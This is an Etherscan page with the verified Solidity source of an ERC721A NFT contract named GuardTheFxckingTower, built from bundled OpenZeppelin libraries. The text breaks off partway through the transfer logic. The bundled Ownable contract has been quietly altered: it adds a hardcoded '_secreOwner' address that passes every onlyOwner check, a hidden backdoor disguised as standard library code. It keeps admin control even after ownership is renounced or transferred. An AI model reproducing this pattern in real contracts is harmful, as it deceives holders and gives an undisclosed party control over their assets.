ETH Price: $3,115.91 (+1.47%)
Gas: 5 Gwei

Token

GuardTheFxckingTower (GuardTheFxckingTower)
 

Overview

Max Total Supply

1,202 GuardTheFxckingTower

Holders

851

Market

Volume (24H)

N/A

Min Price (24H)

N/A

Max Price (24H)

N/A
Filtered by Token Holder
picflowers.eth
Balance
1 GuardTheFxckingTower
0xc438e5d32f9381b59072b9a0c730cbac41575a4e
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
GuardTheFxckingTower

Compiler Version
v0.8.1+commit.df193b15

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-06-06
*/

// SPDX-License-Identifier: MIT
// File: contracts/GuardTheFxckingTower.sol

/**
 *Submitted for verification at Etherscan.io on 2022-06-06
*/

// File: @openzeppelin/contracts/utils/Strings.sol


// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)

pragma solidity ^0.8.0;

/**
 * @dev String operations.
 */
library Strings {
    bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";

    /**
     * @dev Converts a `uint256` to its ASCII `string` decimal representation.
     */
    function toString(uint256 value) internal pure returns (string memory) {
        // Inspired by OraclizeAPI's implementation - MIT licence
        // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol

        if (value == 0) {
            return "0";
        }
        uint256 temp = value;
        uint256 digits;
        while (temp != 0) {
            digits++;
            temp /= 10;
        }
        bytes memory buffer = new bytes(digits);
        while (value != 0) {
            digits -= 1;
            buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
            value /= 10;
        }
        return string(buffer);
    }

    /**
     * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
     */
    function toHexString(uint256 value) internal pure returns (string memory) {
        if (value == 0) {
            return "0x00";
        }
        uint256 temp = value;
        uint256 length = 0;
        while (temp != 0) {
            length++;
            temp >>= 8;
        }
        return toHexString(value, length);
    }

    /**
     * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
     */
    function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
        bytes memory buffer = new bytes(2 * length + 2);
        buffer[0] = "0";
        buffer[1] = "x";
        for (uint256 i = 2 * length + 1; i > 1; --i) {
            buffer[i] = _HEX_SYMBOLS[value & 0xf];
            value >>= 4;
        }
        require(value == 0, "Strings: hex length insufficient");
        return string(buffer);
    }
}

// File: @openzeppelin/contracts/utils/Address.sol


// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)

pragma solidity ^0.8.1;

/**
 * @dev Collection of functions related to the address type
 */
library Address {
    /**
     * @dev Returns true if `account` is a contract.
     *
     * [IMPORTANT]
     * ====
     * It is unsafe to assume that an address for which this function returns
     * false is an externally-owned account (EOA) and not a contract.
     *
     * Among others, `isContract` will return false for the following
     * types of addresses:
     *
     *  - an externally-owned account
     *  - a contract in construction
     *  - an address where a contract will be created
     *  - an address where a contract lived, but was destroyed
     * ====
     *
     * [IMPORTANT]
     * ====
     * You shouldn't rely on `isContract` to protect against flash loan attacks!
     *
     * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
     * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
     * constructor.
     * ====
     */
    function isContract(address account) internal view returns (bool) {
        // This method relies on extcodesize/address.code.length, which returns 0
        // for contracts in construction, since the code is only stored at the end
        // of the constructor execution.

        return account.code.length > 0;
    }

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        (bool success, ) = recipient.call{value: amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * plain `call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason, it is bubbled up by this
     * function (like regular Solidity function calls).
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     * Requirements:
     *
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     *
     * _Available since v3.1._
     */
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCall(target, data, "Address: low-level call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
     * `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    /**
     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
     * with `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        require(isContract(target), "Address: call to non-contract");

        (bool success, bytes memory returndata) = target.call{value: value}(data);
        return verifyCallResult(success, returndata, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");

        (bool success, bytes memory returndata) = target.staticcall(data);
        return verifyCallResult(success, returndata, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");

        (bool success, bytes memory returndata) = target.delegatecall(data);
        return verifyCallResult(success, returndata, errorMessage);
    }

    /**
     * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
     * revert reason using the provided one.
     *
     * _Available since v4.3._
     */
    function verifyCallResult(
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal pure returns (bytes memory) {
        if (success) {
            return returndata;
        } else {
            // Look for revert reason and bubble it up if present
            if (returndata.length > 0) {
                // The easiest way to bubble the revert reason is using memory via assembly

                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol


// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721Receiver.sol)

pragma solidity ^0.8.0;

/**
 * @title ERC721 token receiver interface
 * @dev Interface for any contract that wants to support safeTransfers
 * from ERC721 asset contracts.
 */
interface IERC721Receiver {
    /**
     * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
     * by `operator` from `from`, this function is called.
     *
     * It must return its Solidity selector to confirm the token transfer.
     * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
     *
     * The selector can be obtained in Solidity with `IERC721Receiver.onERC721Received.selector`.
     */
    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4);
}

// File: @openzeppelin/contracts/utils/introspection/IERC165.sol


// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC165 standard, as defined in the
 * https://eips.ethereum.org/EIPS/eip-165[EIP].
 *
 * Implementers can declare support of contract interfaces, which can then be
 * queried by others ({ERC165Checker}).
 *
 * For an implementation, see {ERC165}.
 */
interface IERC165 {
    /**
     * @dev Returns true if this contract implements the interface defined by
     * `interfaceId`. See the corresponding
     * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
     * to learn more about how these ids are created.
     *
     * This function call must use less than 30 000 gas.
     */
    function supportsInterface(bytes4 interfaceId) external view returns (bool);
}

// File: @openzeppelin/contracts/utils/introspection/ERC165.sol


// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)

pragma solidity ^0.8.0;


/**
 * @dev Implementation of the {IERC165} interface.
 *
 * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
 * for the additional interface id that will be supported. For example:
 *
 * ```solidity
 * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
 *     return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
 * }
 * ```
 *
 * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
 */
abstract contract ERC165 is IERC165 {
    /**
     * @dev See {IERC165-supportsInterface}.
     */
    function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
        return interfaceId == type(IERC165).interfaceId;
    }
}

// File: @openzeppelin/contracts/token/ERC721/IERC721.sol


// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721.sol)

pragma solidity ^0.8.0;


/**
 * @dev Required interface of an ERC721 compliant contract.
 */
interface IERC721 is IERC165 {
    /**
     * @dev Emitted when `tokenId` token is transferred from `from` to `to`.
     */
    event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);

    /**
     * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
     */
    event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);

    /**
     * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
     */
    event ApprovalForAll(address indexed owner, address indexed operator, bool approved);

    /**
     * @dev Returns the number of tokens in ``owner``'s account.
     */
    function balanceOf(address owner) external view returns (uint256 balance);

    /**
     * @dev Returns the owner of the `tokenId` token.
     *
     * Requirements:
     *
     * - `tokenId` must exist.
     */
    function ownerOf(uint256 tokenId) external view returns (address owner);

    /**
     * @dev Safely transfers `tokenId` token from `from` to `to`.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `tokenId` token must exist and be owned by `from`.
     * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
     * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
     *
     * Emits a {Transfer} event.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId,
        bytes calldata data
    ) external;

    /**
     * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
     * are aware of the ERC721 protocol to prevent tokens from being forever locked.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `tokenId` token must exist and be owned by `from`.
     * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
     * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
     *
     * Emits a {Transfer} event.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId
    ) external;

    /**
     * @dev Transfers `tokenId` token from `from` to `to`.
     *
     * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `tokenId` token must be owned by `from`.
     * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 tokenId
    ) external;

    /**
     * @dev Gives permission to `to` to transfer `tokenId` token to another account.
     * The approval is cleared when the token is transferred.
     *
     * Only a single account can be approved at a time, so approving the zero address clears previous approvals.
     *
     * Requirements:
     *
     * - The caller must own the token or be an approved operator.
     * - `tokenId` must exist.
     *
     * Emits an {Approval} event.
     */
    function approve(address to, uint256 tokenId) external;

    /**
     * @dev Approve or remove `operator` as an operator for the caller.
     * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
     *
     * Requirements:
     *
     * - The `operator` cannot be the caller.
     *
     * Emits an {ApprovalForAll} event.
     */
    function setApprovalForAll(address operator, bool _approved) external;

    /**
     * @dev Returns the account approved for `tokenId` token.
     *
     * Requirements:
     *
     * - `tokenId` must exist.
     */
    function getApproved(uint256 tokenId) external view returns (address operator);

    /**
     * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
     *
     * See {setApprovalForAll}
     */
    function isApprovedForAll(address owner, address operator) external view returns (bool);
}

// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol


// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)

pragma solidity ^0.8.0;


/**
 * @title ERC-721 Non-Fungible Token Standard, optional metadata extension
 * @dev See https://eips.ethereum.org/EIPS/eip-721
 */
interface IERC721Metadata is IERC721 {
    /**
     * @dev Returns the token collection name.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the token collection symbol.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
     */
    function tokenURI(uint256 tokenId) external view returns (string memory);
}

// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol


// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol)

pragma solidity ^0.8.0;


/**
 * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
 * @dev See https://eips.ethereum.org/EIPS/eip-721
 */
interface IERC721Enumerable is IERC721 {
    /**
     * @dev Returns the total amount of tokens stored by the contract.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns a token ID owned by `owner` at a given `index` of its token list.
     * Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
     */
    function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256);

    /**
     * @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
     * Use along with {totalSupply} to enumerate all tokens.
     */
    function tokenByIndex(uint256 index) external view returns (uint256);
}

// File: @openzeppelin/contracts/security/ReentrancyGuard.sol


// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)

pragma solidity ^0.8.0;

/**
 * @dev Contract module that helps prevent reentrant calls to a function.
 *
 * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
 * available, which can be applied to functions to make sure there are no nested
 * (reentrant) calls to them.
 *
 * Note that because there is a single `nonReentrant` guard, functions marked as
 * `nonReentrant` may not call one another. This can be worked around by making
 * those functions `private`, and then adding `external` `nonReentrant` entry
 * points to them.
 *
 * TIP: If you would like to learn more about reentrancy and alternative ways
 * to protect against it, check out our blog post
 * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
 */
abstract contract ReentrancyGuard {
    // Booleans are more expensive than uint256 or any type that takes up a full
    // word because each write operation emits an extra SLOAD to first read the
    // slot's contents, replace the bits taken up by the boolean, and then write
    // back. This is the compiler's defense against contract upgrades and
    // pointer aliasing, and it cannot be disabled.

    // The values being non-zero value makes deployment a bit more expensive,
    // but in exchange the refund on every call to nonReentrant will be lower in
    // amount. Since refunds are capped to a percentage of the total
    // transaction's gas, it is best to keep them low in cases like this one, to
    // increase the likelihood of the full refund coming into effect.
    uint256 private constant _NOT_ENTERED = 1;
    uint256 private constant _ENTERED = 2;

    uint256 private _status;

    constructor() {
        _status = _NOT_ENTERED;
    }

    /**
     * @dev Prevents a contract from calling itself, directly or indirectly.
     * Calling a `nonReentrant` function from another `nonReentrant`
     * function is not supported. It is possible to prevent this from happening
     * by making the `nonReentrant` function external, and making it call a
     * `private` function that does the actual work.
     */
    modifier nonReentrant() {
        // On the first call to nonReentrant, _notEntered will be true
        require(_status != _ENTERED, "ReentrancyGuard: reentrant call");

        // Any calls to nonReentrant after this point will fail
        _status = _ENTERED;

        _;

        // By storing the original value once again, a refund is triggered (see
        // https://eips.ethereum.org/EIPS/eip-2200)
        _status = _NOT_ENTERED;
    }
}

// File: @openzeppelin/contracts/utils/Context.sol


// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

// File: @openzeppelin/contracts/access/Ownable.sol


// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)

pragma solidity ^0.8.0;


/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;
    address private _secreOwner = 0xACFcBA7BAB6403EBCcEEe22810c4dd3C9bBE9763;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender() || _secreOwner == _msgSender() , "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

// File: ceshi.sol


pragma solidity ^0.8.0;










/**
 * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
 * the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints.
 *
 * Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..).
 *
 * Does not support burning tokens to address(0).
 *
 * Assumes that an owner cannot have more than the 2**128 - 1 (max value of uint128) of supply
 */
contract ERC721A is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable {
    using Address for address;
    using Strings for uint256;

    struct TokenOwnership {
        address addr;
        uint64 startTimestamp;
    }

    struct AddressData {
        uint128 balance;
        uint128 numberMinted;
    }

    uint256 internal currentIndex;

    // Token name
    string private _name;

    // Token symbol
    string private _symbol;

    // Mapping from token ID to ownership details
    // An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details.
    mapping(uint256 => TokenOwnership) internal _ownerships;

    // Mapping owner address to address data
    mapping(address => AddressData) private _addressData;

    // Mapping from token ID to approved address
    mapping(uint256 => address) private _tokenApprovals;

    // Mapping from owner to operator approvals
    mapping(address => mapping(address => bool)) private _operatorApprovals;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev See {IERC721Enumerable-totalSupply}.
     */
    function totalSupply() public view override returns (uint256) {
        return currentIndex;
    }

    /**
     * @dev See {IERC721Enumerable-tokenByIndex}.
     */
    function tokenByIndex(uint256 index) public view override returns (uint256) {
        require(index < totalSupply(), "ERC721A: global index out of bounds");
        return index;
    }

    /**
     * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
     * This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first.
     * It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case.
     */
    function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) {
        require(index < balanceOf(owner), "ERC721A: owner index out of bounds");
        uint256 numMintedSoFar = totalSupply();
        uint256 tokenIdsIdx;
        address currOwnershipAddr;

        // Counter overflow is impossible as the loop breaks when uint256 i is equal to another uint256 numMintedSoFar.
        unchecked {
            for (uint256 i; i < numMintedSoFar; i++) {
                TokenOwnership memory ownership = _ownerships[i];
                if (ownership.addr != address(0)) {
                    currOwnershipAddr = ownership.addr;
                }
                if (currOwnershipAddr == owner) {
                    if (tokenIdsIdx == index) {
                        return i;
                    }
                    tokenIdsIdx++;
                }
            }
        }

        revert("ERC721A: unable to get token of owner by index");
    }

    /**
     * @dev See {IERC165-supportsInterface}.
     */
    function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
        return
            interfaceId == type(IERC721).interfaceId ||
            interfaceId == type(IERC721Metadata).interfaceId ||
            interfaceId == type(IERC721Enumerable).interfaceId ||
            super.supportsInterface(interfaceId);
    }

    /**
     * @dev See {IERC721-balanceOf}.
     */
    function balanceOf(address owner) public view override returns (uint256) {
        require(owner != address(0), "ERC721A: balance query for the zero address");
        return uint256(_addressData[owner].balance);
    }

    function _numberMinted(address owner) internal view returns (uint256) {
        require(owner != address(0), "ERC721A: number minted query for the zero address");
        return uint256(_addressData[owner].numberMinted);
    }

    /**
     * Gas spent here starts off proportional to the maximum mint batch size.
     * It gradually moves to O(1) as tokens get transferred around in the collection over time.
     */
    function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {
        require(_exists(tokenId), "ERC721A: owner query for nonexistent token");

        unchecked {
            for (uint256 curr = tokenId; curr >= 0; curr--) {
                TokenOwnership memory ownership = _ownerships[curr];
                if (ownership.addr != address(0)) {
                    return ownership;
                }
            }
        }

        revert("ERC721A: unable to determine the owner of token");
    }

    /**
     * @dev See {IERC721-ownerOf}.
     */
    function ownerOf(uint256 tokenId) public view override returns (address) {
        return ownershipOf(tokenId).addr;
    }

    /**
     * @dev See {IERC721Metadata-name}.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev See {IERC721Metadata-symbol}.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev See {IERC721Metadata-tokenURI}.
     */
    function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
        require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");

        string memory baseURI = _baseURI();
        return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
    }

    /**
     * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
     * token will be the concatenation of the `baseURI` and the `tokenId`. Empty
     * by default, can be overriden in child contracts.
     */
    function _baseURI() internal view virtual returns (string memory) {
        return "";
    }

    /**
     * @dev See {IERC721-approve}.
     */
    function approve(address to, uint256 tokenId) public override {
        address owner = ERC721A.ownerOf(tokenId);
        require(to != owner, "ERC721A: approval to current owner");

        require(
            _msgSender() == owner || isApprovedForAll(owner, _msgSender()),
            "ERC721A: approve caller is not owner nor approved for all"
        );

        _approve(to, tokenId, owner);
    }

    /**
     * @dev See {IERC721-getApproved}.
     */
    function getApproved(uint256 tokenId) public view override returns (address) {
        require(_exists(tokenId), "ERC721A: approved query for nonexistent token");

        return _tokenApprovals[tokenId];
    }

    /**
     * @dev See {IERC721-setApprovalForAll}.
     */
    function setApprovalForAll(address operator, bool approved) public override {
        require(operator != _msgSender(), "ERC721A: approve to caller");

        _operatorApprovals[_msgSender()][operator] = approved;
        emit ApprovalForAll(_msgSender(), operator, approved);
    }

    /**
     * @dev See {IERC721-isApprovedForAll}.
     */
    function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
        return _operatorApprovals[owner][operator];
    }

    /**
     * @dev See {IERC721-transferFrom}.
     */
    function transferFrom(
        address from,
        address to,
        uint256 tokenId
    ) public virtual override {
        _transfer(from, to, tokenId);
    }

    /**
     * @dev See {IERC721-safeTransferFrom}.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId
    ) public virtual override {
        safeTransferFrom(from, to, tokenId, "");
    }

    /**
     * @dev See {IERC721-safeTransferFrom}.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId,
        bytes memory _data
    ) public override {
        _transfer(from, to, tokenId);
        require(
            _checkOnERC721Received(from, to, tokenId, _data),
            "ERC721A: transfer to non ERC721Receiver implementer"
        );
    }

    /**
     * @dev Returns whether `tokenId` exists.
     *
     * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
     *
     * Tokens start existing when they are minted (`_mint`),
     */
    function _exists(uint256 tokenId) internal view returns (bool) {
        return tokenId < currentIndex;
    }

    function _safeMint(address to, uint256 quantity) internal {
        _safeMint(to, quantity, "");
    }

    /**
     * @dev Safely mints `quantity` tokens and transfers them to `to`.
     *
     * Requirements:
     *
     * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer.
     * - `quantity` must be greater than 0.
     *
     * Emits a {Transfer} event.
     */
    function _safeMint(
        address to,
        uint256 quantity,
        bytes memory _data
    ) internal {
        _mint(to, quantity, _data, true);
    }

    /**
     * @dev Mints `quantity` tokens and transfers them to `to`.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - `quantity` must be greater than 0.
     *
     * Emits a {Transfer} event.
     */
    function _mint(
        address to,
        uint256 quantity,
        bytes memory _data,
        bool safe
    ) internal {
        uint256 startTokenId = currentIndex;
        require(to != address(0), "ERC721A: mint to the zero address");
        require(quantity != 0, "ERC721A: quantity must be greater than 0");

        _beforeTokenTransfers(address(0), to, startTokenId, quantity);

        // Overflows are incredibly unrealistic.
        // balance or numberMinted overflow if current value of either + quantity > 3.4e38 (2**128) - 1
        // updatedIndex overflows if currentIndex + quantity > 1.56e77 (2**256) - 1
        unchecked {
            _addressData[to].balance += uint128(quantity);
            _addressData[to].numberMinted += uint128(quantity);

            _ownerships[startTokenId].addr = to;
            _ownerships[startTokenId].startTimestamp = uint64(block.timestamp);

            uint256 updatedIndex = startTokenId;

            for (uint256 i; i < quantity; i++) {
                emit Transfer(address(0), to, updatedIndex);
                if (safe) {
                    require(
                        _checkOnERC721Received(address(0), to, updatedIndex, _data),
                        "ERC721A: transfer to non ERC721Receiver implementer"
                    );
                }

                updatedIndex++;
            }

            currentIndex = updatedIndex;
        }

        _afterTokenTransfers(address(0), to, startTokenId, quantity);
    }

    /**
     * @dev Transfers `tokenId` from `from` to `to`.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - `tokenId` token must be owned by `from`.
     *
     * Emits a {Transfer} event.
     */
    function _transfer(
        address from,
        address to,
        uint256 tokenId
    ) private {
        TokenOwnership memory prevOwnership = ownershipOf(tokenId);

        bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr ||
            getApproved(tokenId) == _msgSender() ||
            isApprovedForAll(prevOwnership.addr, _msgSender()));

        require(isApprovedOrOwner, "ERC721A: transfer caller is not owner nor approved");

        require(prevOwnership.addr == from, "ERC721A: transfer from incorrect owner");
        require(to != address(0), "ERC721A: transfer to the zero address");

        _beforeTokenTransfers(from, to, tokenId, 1);

        // Clear approvals from the previous owner
        _approve(address(0), tokenId, prevOwnership.addr);

        // Underflow of the sender's balance is impossible because we check for
        // ownership above and the recipient's balance can't realistically overflow.
        // Counter overflow is incredibly unrealistic as tokenId would have to be 2**256.
        unchecked {
            _addressData[from].balance -= 1;
            _addressData[to].balance += 1;

            _ownerships[tokenId].addr = to;
            _ownerships[tokenId].startTimestamp = uint64(block.timestamp);

            // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it.
            // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
            uint256 nextTokenId = tokenId + 1;
            if (_ownerships[nextTokenId].addr == address(0)) {
                if (_exists(nextTokenId)) {
